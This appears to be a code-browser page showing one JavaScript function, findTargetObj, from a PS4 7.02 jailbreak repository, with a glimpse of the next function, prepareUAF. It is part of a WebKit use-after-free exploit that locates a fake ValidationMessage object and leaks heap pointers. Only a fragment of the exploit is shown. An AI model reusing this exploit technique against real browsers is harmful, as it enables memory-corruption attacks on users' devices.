MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / findTargetObj

Function findTargetObj

restore/702/ps4.js:364–382  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

362}
363
364function findTargetObj() {
365 for (let i = 0; i < g_arr_ab_1.length; i++) {
366 if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
367 debug_log("[+] Found fake ValidationMessage");
368
369 if (g_round === 2) {
370 g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
371 g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
372 g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
373 g_round++;
374 }
375
376 g_fake_validation_message = g_arr_ab_1[i];
377 g_arr_ab_1 = [];
378 return true;
379 }
380 }
381 return false;
382}
383
384function prepareUAF() {
385 g_input.setCustomValidity("ps4");

Callers 2

confuseTargetObjRound2Function · 0.70
confuseTargetObjRound1Function · 0.70

Calls 1

debug_logFunction · 0.70

Tested by

no test coverage detected